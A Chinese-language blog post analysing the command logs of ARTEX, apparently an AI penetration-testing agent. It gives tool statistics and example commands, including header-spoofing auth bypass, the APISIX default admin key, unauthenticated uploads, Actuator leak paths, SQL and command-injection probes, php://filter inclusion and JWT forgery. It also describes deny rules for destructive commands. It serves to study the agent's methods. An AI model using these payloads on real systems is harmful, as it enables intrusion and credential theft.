ARTEX 攻击工具与手法拆解

3627 字
18 分钟
ARTEX 攻击工具与手法拆解

先说结论#

这套系统几乎不用扫描器

工具真实带参执行次数占比
curl4,10055.3%
python3(内联脚本)993(heredoc 形态)13.4%
nmap430.6%
node130.2%
host80.1%
nc50.07%
dig30.04%
ping30.04%
traceroute20.03%
openssl10.01%

0 次执行(装了或没装,但从未真正用起来):nuclei、sqlmap、ffuf、gobuster、dirb、nikto、whatweb、masscan、subfinder、httpx、katana、hydra、arjun、wafw00f、playwright-cli。

一句话:ARTEX 的攻击面 = curl 手搓 HTTP + python 内联脚本 + 一把 nmap。它不是「工具链编排器」,而是「一个会写 curl 和 python 的攻击者」。


1. 静态层:镜像里到底装了什么#

Dockerfile 第三阶段(运行镜像)只装这些:

apt 包(12 个)#

ca-certificates ripgrep curl wget vim git jq unzip
dnsutils iputils-ping netcat-openbsd inetutils-telnet whois nmap

拆开看用途:

包提供什么在 ARTEX 里的角色
curlHTTP 客户端绝对主力,55% 的命令靠它
ripgreprg 快速搜索大文件检索(比 grep 快,但实测仍主要用 grep)
jqJSON 处理解析 API 响应
nmap端口/服务扫描唯一的专业扫描器,43 次
dnsutilsdig/nslookupDNS 枚举
whois域名注册信息资产归属判断
netcat-openbsdnc端口连通性、banner 抓取
inetutils-telnettelnet老服务探测
iputils-pingping存活性
vim / git / unzip编辑器/版本/解压写脚本、拉工具

Node 生态#

npm install -g @playwright/mcp @playwright/cli playwright
playwright install --with-deps chromium

预装完整的 Playwright + Chromium,还配了国内镜像源(PLAYWRIGHT_DOWNLOAD_HOST=cdn.npmmirror.com)避免运行时下载。但实测 playwright-cli 调用 0 次 —— 这套浏览器能力在这批任务里完全没用起来。

刻意没装的#

镜像里没有 nuclei / sqlmap / ffuf / gobuster / nikto / whatweb / masscan / subfinder / httpx。这不是疏忽 ——

  • 这些工具要么体积大,要么行为特征明显(容易被 WAF/IDS 抓)
  • 官方镜像保持”轻”,把工具选择权留给任务本身
  • 用户可以往 skills/ 挂自己的脚本,或者让 agent 现场装

结果:agent 只能靠 curl 手搓。这既是限制,也是这套系统实际的行为特征 —— 它不制造大量扫描噪声,而是针对性地打 HTTP 端点。


2. 主力工具详解#

2.1 curl(4,100 次,占 55%)#

这是 ARTEX 真正的「攻击框架」。从命令样本里能提炼出 12 种固定用法:

(1) 只判断状态码和大小(最常用)#

Terminal window
curl -sk -m 10 -o /dev/null -w "login %{http_code} %{time_total}s\n" "http://<target>/path"
  • -s 静默、-k 忽略证书、-m 超时、-o /dev/null 丢 body
  • %{http_code} 出现 2,752 次,-w 格式化出现 2,705 次

为什么这么写:agent 只关心「这个端点存不存在、是否 200」,不要 body。把 body 丢进上下文会瞬间吃满 token。这是被 compaction 逼出来的最佳实践。

(2) 探测允许的 HTTP 方法#

Terminal window
for m in GET POST PUT DELETE OPTIONS TRACE PATCH; do
printf "%-8s " "$m"
curl -sk -o /dev/null -X "$m" -w "%{http_code}\n" --max-time 10 "$U"
done

-X OPTIONS 出现 227 次 —— 专门探 Allow 头,找未授权的写方法。

(3) 抓全响应头做指纹#

Terminal window
curl -s -D - -o /dev/null --max-time 18 "$@" 2>/dev/null \
| awk 'NR==1{c=$2" "$3} /^[Ll]ocation:/{loc=$2} /^Allow:/{al=$0} END{...}'

-D - 把响应头打到 stdout,然后用 awk 提取 Location、Allow、X-Application-Context(Spring Boot 指纹)、Server。

Terminal window
curl -sk -m 10 -c "cj_$id.txt" "$B/login" -o /dev/null
curl -sk -m 10 -b "cj_$id.txt" -X POST "$B/api" ...

-c 写 cookie jar、-b 读。用于「先登录再打接口」的两步流程。

(5) 伪造来源 IP(认证绕过)#

Terminal window
for h in "X-Forwarded-For: <ip>" "X-Real-IP: <ip>" "X-Forwarded-Host: localhost"; do
curl -sk -H "$h" ...
done

频次:X-Forwarded-For 196 次、X-Real-IP 37 次、X-Forwarded-Host 35 次。

攻击原理:内网系统常靠这些头判断「请求来自内网」,直接信任代理头。伪造后绕过 IP 白名单。ARTEX 会一次试三种头组合。

(6) 文件上传(multipart)#

Terminal window
printf 'harmless-poc-105' > poc.txt
curl -sk -m 15 -X POST "$U/portal-api/v1/service/upload" -F "file=@poc.txt"

-F 出现 213 次。注意内容永远是 harmless-poc-* 这种无害标记 —— 这是有意的:验证上传通道可用即可,不真的传 webshell。

(7) JSON 请求体#

Terminal window
curl -sk -X POST -H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' "$U/api/login"

-X POST 总计 681 次,是除了 GET 之外最主要的写操作。

(8) 走 HTTPS SNI 多域名(同一 IP 多站点)#

Terminal window
R="--resolve ehr.<target>:443:<ip>"
curl $R -sk "https://ehr.<target>/" ...

--resolve 强制把域名指向指定 IP,绕过 DNS。用于「已知 IP 段,批量验证虚拟主机」。

(9) 带 Referer/UA 绕 CSRF 或 WAF#

Terminal window
curl -sk -H "User-Agent: Mozilla/5.0 ..." -H "Referer: $U/" ...

-A / User-Agent 出现 597 次 —— 默认 UA 是 curl/x.x,太容易被 WAF 拦。

(10) 限速与并发控制#

Terminal window
curl -sk -m 12 --limit-rate 50k ...

配合 for 循环,避免过快触发限流。

(11) 只看跳转链#

Terminal window
curl -sIL -o /dev/null -w "%{url_effective} %{http_code}\n" "$U"

-L 出现 301 次。跟踪 302 到登录页/错误页,判断是否需要认证。

(12) 直接读原始响应体(少量)#

只在「需要看返回内容才能判断」时才把 body 读进上下文,且通常配合 head -c 1500 截断。


2.2 nmap(43 次)#

nmap 只占 0.6%,但用法有清晰的三段式演进,能看出 agent 的策略变化:

第一段:快速摸底(低速率,先看有没有活)#

Terminal window
nmap -Pn -T4 --top-ports 100 -sV <ip> <ip> -oN nmap_top100.txt
nmap -Pn -T3 --top-ports 200 --open -sV --version-light <ip> <ip> -oN nmap_200.txt

-Pn 跳过 ping(目标常禁 ICMP)、-T4 加速、--top-ports 只扫常见端口。

第二段:定向端口(按指纹猜业务)#

Terminal window
nmap -Pn -T4 -p 80,443,8080,8443,8000,8888,8081,9090,22,3389,1521,3306 <ip> -oN nmap_webports.txt
nmap -Pn -n --open -T4 -p 9080,9180,2379,2380,8500,8848,9090,9100,9443,443,80 <ip>

注意这批端口很有针对性:

  • 2379/2380 → etcd(K8s 未授权)
  • 8500 → Consul
  • 8848 → Nacos(未授权配置泄露)
  • 9080/9180 → 常见 Java 网关
  • 9090 → Prometheus / Cockpit
  • 9100 → Node Exporter

这说明 agent 不是盲扫,是在按「云原生组件」的特征端口找未授权访问。

第三段:全端口 + NSE 脚本#

Terminal window
nmap -Pn -sS -T4 --min-rate 1500 --max-retries 1 --host-timeout 90s -p 1-10000 <ip> -oN nmap_1-10000.txt
nmap -Pn -p- --open -T4 --min-rate 2000 <ip>
nmap -Pn -p 80 --script http-headers,http-title,http-methods,http-enum <ip> -oN nmap_scripts.txt

NSE 脚本用了 4 个:http-headers(指纹)、http-title(标题)、http-methods(允许方法)、http-enum(常见路径)。

限速意识#

后期命令明显降速:

Terminal window
nmap -Pn -T2 --max-rate 200 --max-retries 1 --host-timeout 300s -p "$(cat ports.txt)" -iL ips.txt
nmap -sS -Pn -n -T2 --max-rate 40 --version-intensity 5 -p 8080 <ip>

-T2 + --max-rate 40 —— 显然是被目标 WAF 拦过之后主动降速。这是 agent 从失败里学到的调整(记录在 fact 节点里,下轮 planner 会读到)。


2.3 python3(993 次内联 heredoc 脚本)#

这是 ARTEX 第二个真正的「攻击工具」。993 次用 python3 - <<'EOF' 形态现场写脚本执行,另有 1,688 次 heredoc 建文件。

为什么不用现成工具而写脚本:目标有定制加密、定制协议、定制签名,现成工具打不了。

按 import 分类(同一命令可能命中多类):

用途次数典型场景
re 正则提取692从 HTML/JS 里抠 token、路径、接口
requests / urllib 发请求336需要 cookie 会话、重试、多步流程
json 处理277解析 API 响应
Crypto 加解密95目标用了定制加密
DES / AES83硬编码密钥的对称加密
JWT 处理78伪造/篡改 token
gql / GraphQL122GraphQL introspection 查询
socket 原始连接52非 HTTP 协议探测
subprocess 调外部65组合 curl/nmap
sqlite333读本地缓存/靶场库

最值得注意的一类:Crypto / DES / AES(503 次相关)#

这是 ARTEX 与普通扫描器最大的差异点。样本形态:

from Crypto.Cipher import DES
key = b'...' # 从 JS 里提取的硬编码密钥
def pad(s): ...
def encrypt(pt): return base64.b64encode(DES.new(key, DES.MODE_ECB).encrypt(pad(pt)))
# 然后把加密后的参数塞进请求

攻击逻辑:前端 JS 里常有硬编码的对称加密密钥(DES/AES),用来”保护”请求参数。agent 会:

  1. 拉前端 bundle
  2. 用正则找 DES/AES/key/iv 关键字
  3. 抠出密钥和加密逻辑
  4. 用 Python 复刻加密
  5. 构造合法加密参数去打后端

这解释了为什么 re 出现 692 次 —— 大量时间花在「从 JS 里抠东西」。

GraphQL(292 次)#

from gql import gql, Client
q = gql('{ __schema { types { name fields { name } } } }')

走 introspection 拿全量 schema,找未授权的 mutation。gql 库 import 34 次。

JWT(303 次)#

典型手法:

  • 解码 payload 看权限字段
  • 尝试 alg: none(算法混淆)
  • 尝试弱密钥爆破(HS256 用常见字典)
  • 篡改 role/uid 后重签

2.4 文本处理层(grep 2,273 / sed 445 / awk 100 / sort 919 / uniq 104 / jq 14)#

grep 占 30.7%,是除 curl 外最高频的命令。这不是”攻击工具”,但它是把攻击结果压缩进上下文的唯一手段。

典型组合:

Terminal window
curl -s "$U/api/list" | jq -r '.[].id' | sort -u | wc -l
curl -sk "$U" | grep -oE '"/api/[^"]+"' | sort -u > api.txt
grep -rhoaE '.{0,120}("/api[^"]+").{0,200}' OUTDIR/js/*.js | head -20

为什么这么重要:一个前端 bundle 可能 5MB,全读进 context 直接爆。用 grep 抽出 20 行 API 路径,只占几百 token。

sort 出现 919 次基本都是 | sort -u 去重 —— 因为 agent 反复扫同一目标,结果大量重复。


2.5 DNS 与网络层(次要)#

Terminal window
dig +short A <domain> # 3 次
host -t A <domain> # 8 次
nslookup <domain> # 35 次(多为解析判断)
nc -zv <ip> 443 # 5 次
openssl s_client -connect <ip>:443 # 1 次
ping -c 3 <ip> # 3 次
traceroute <ip> # 2 次

频次极低,因为资产解析实际由 enrich 包(dnsx)异步完成,不走 agent 的 Bash。

openssl s_client 只用了 1 次,是抓证书 SAN 找关联域名。


3. 攻击手法详解(按漏洞类型)#

3.1 Spring Boot Actuator 未授权(227 次命中 actuator)#

最常见的打点。探测清单:

/actuator
/actuator/env
/actuator/heapdump
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/jolokia

/actuator/env 泄露数据库密码、Redis 密码、AK/SK;/actuator/heapdump 下载堆转储后能捞出内存里的凭据;/actuator/jolokia 可导致 RCE(MBean 操作)。

配合 X-Application-Context 响应头(第 3 种 curl 用法)确认是 Spring Boot。

3.2 APISIX 网关未授权(61 次)#

Terminal window
curl -sk "http://<target>/apisix/admin/routes" -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"

APISIX 默认 admin key 是公开的 edd1c9f034335f136f87ad84b625c8f1。拿到 /apisix/admin/routes 可读全部路由配置,甚至 PUT 一条恶意路由做 SSRF/转发劫持。

3.3 文件上传 / OSS 未授权(147 次)#

Terminal window
curl -skS -X POST "$U/api/blade-resource/oss/endpoint/put-file" \
-F "file=@/tmp/x.txt" -w "\n[%{http_code}]\n"

BladeX 框架的 OSS 上传接口是经典未授权点。ARTEX 会一次试多个变体:

put-file
put-file-attach
put-file-rename

关键细节:内容永远是 test / harmless-poc-* —— 只验证通道开放,不投递恶意文件。这是刻意守住的边界(也对应 intercept 规则里对 webshell 关键字的监控)。

3.4 JWT 攻击(303 次)#

三类手法:

  1. 算法混淆:把 alg 改成 none,去掉签名
  2. 弱密钥爆破:HS256 用 secret/123456/key 等常见值离线爆破
  3. claims 篡改:解出 payload,把 role 改成 admin、uid 改成 1,用泄露的密钥重签

getPublicKey 这类端点(RSA 公钥接口)是重点 —— 拿到公钥后可尝试 alg: HS256 混淆攻击(用公钥当 HMAC 密钥)。

3.5 认证绕过 / 头注入(268 次)#

Terminal window
for h in "X-Forwarded-For: <ip>" "X-Real-IP: <ip>" "X-Forwarded-Host: localhost"; do
curl -sk -H "$h" -o /dev/null -w "%{http_code}\n" "$U/admin"
done

三种头的攻击面各不相同:

  • X-Forwarded-For / X-Real-IP → 绕过 IP 白名单(“内网才能访问”)
  • X-Forwarded-Host → 绕过基于 Host 的访问控制,也可能触发缓存投毒

3.6 SQL 注入探测(167 次)#

ARTEX 不做自动注入(没装 sqlmap),只做手工探测:

Terminal window
# 布尔盲注特征
curl -sk "$U/item?id=1' AND '1'='1" -o /tmp/a -w "%{size_download}"
curl -sk "$U/item?id=1' AND '1'='2" -o /tmp/b -w "%{size_download}"
# 对比两个响应大小

核心是差分:同一参数注入真假条件,比较 size_download 差异。命中后才让 worker 深入。

时间盲注用 sleep(5) 看 %{time_total}。

3.7 命令注入探测(25 次)#

Terminal window
for p in "%3Bid" "%7Cid" "%60id%60" "%24(id)"; do
curl -sk "$U/ping?host=127.0.0.1$p" ...
done

;id、|id、`id`、$(id) 四种分隔符。回显里找 uid=。

3.8 路径/目录爆破(2,283 条循环命令)#

ARTEX 不用 ffuf/gobuster,全部自己写 curl 循环:

Terminal window
cat > small.txt <<'EOF'
/por/login_psw.csp
/por/login_auth.csp
/por/login_radius.csp
/por/login_token.csp
/por/login_sms.csp
EOF
while read p; do
printf "%-40s " "$p"
curl -sk -m 10 -o /dev/null -w "%{http_code} %{size_download}\n" "http://<target>$p"
done < small.txt

特点:

  • 字典是自己按目标定制的小字典(5-20 条),不是通用大字典
  • 字典来自对目标的理解(比如看到深信服 VPN,就试 /por/login_psw.csp)
  • 用 %{http_code} + %{size_download} 双判据,避免 200 空页面误判

这比 ffuf 慢,但噪声小、针对性强。字典路径里出现 paths 428 次、dict 108 次、common 62 次 —— 说明 agent 会现场生成字典文件。

3.9 越权 / IDOR#

用两个不同身份的 cookie jar,打同一个 API:

Terminal window
curl -b "cj_a.txt" "$U/api/user/1001" -o /tmp/a
curl -b "cj_b.txt" "$U/api/user/1001" -o /tmp/b
diff /tmp/a /tmp/b

3.10 php://filter(2 次)#

仅 2 次,说明遇到 PHP 站点的比例不高:

Terminal window
curl -sk "$U/index.php?file=php://filter/convert.base64-encode/resource=config"

4. 被拦截规则封住的工具#

intercept_rules 里有 20 条 deny 规则,直接决定了「哪些工具用不了」。这解释了统计里的一个反常现象:

现象原因
-X DELETE 只有 1 次规则 curl ... -X DELETE 直接 deny
-X PUT 只有 9 次删除类路径 `/delete
requests.delete(...) 0 次规则覆盖 Python HTTP 客户端 DELETE
DROP/TRUNCATE 0 次SQL 破坏性语句被拦
FLUSHALL 0 次Redis 清库被拦

这不是 agent「不想用」,是被拦之后改了策略。实测 intercept_pending 有 36 次 deny 记录,全部来自规则层。

副作用:agent 学不到「DELETE 会怎样」,因为它连试都试不了。这对安全是好事,对「完整评估目标」是缺口 —— 有些漏洞只能靠 DELETE 验证(比如越权删除),现在被彻底封死。


5. 工具栈形态说明了什么#

5.1 这是「手搓型」而非「工具编排型」#

对比典型自动化渗透平台(调用 nuclei 模板库 + ffuf 字典 + sqlmap):

维度ARTEX典型扫描平台
主力curl + python 内联脚本现成工具 + 模板
噪声低(自定小字典、限速)高(大字典、并发)
覆盖面窄但深(能打定制加密)宽但浅(只跑模板)
可解释性高(每条 curl 都能读)低(模板黑盒)
速度慢快

优势:能处理「现成工具打不了」的场景 —— 定制 DES 加密参数、GraphQL、JWT 混淆。这靠的是 LLM 现场读 JS 并复刻加密逻辑的能力,扫描器做不到。

劣势:覆盖率低。没装 nuclei 意味着错过了几千个已知 CVE 模板;没装 ffuf 意味着目录爆破靠手写循环,慢且不全。

5.2 playwright 装了却没用#

镜像花了大力气预装 Playwright + Chromium(还配了国内镜像源),但 playwright-cli 调用 0 次。

推测原因:

  • skills/playwright-cli/ 技能存在,但需要 agent 主动调用 Skill 工具加载
  • worker 的工具集里没有直接暴露 playwright,只能通过 Bash 调 playwright-cli
  • agent 更倾向用 curl(更轻、更快、无浏览器开销)

这是一个明显的资源浪费 —— SPA 站点、需要 JS 渲染才能看到的接口,用 playwright 效率远高于 curl 抓 bundle 再正则。

5.3 命令规模#

指标值
单条命令长度中位数436 字符
均值559 字符
最长5,514 字符
>1000 字符的命令943 条
>3000 字符的命令17 条

中位数 436 字符意味着 agent 写的不是单行 curl,而是带变量、循环、错误处理的小脚本。这是「会写代码的攻击者」的行为特征,不是「调工具的脚本」。


总结#

ARTEX 的攻击工具栈只有三样东西:

  1. curl(55%)—— 手搓 HTTP,自己控制每个头、每个参数
  2. python3 内联脚本(13%)—— 处理加密、GraphQL、JWT 这些 curl 打不了的
  3. nmap(0.6%)—— 只在开局摸底时用

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
52
分类
20
标签
32
总字数
311,598
运行时长
0 天
最后活动
0 天前

文章目录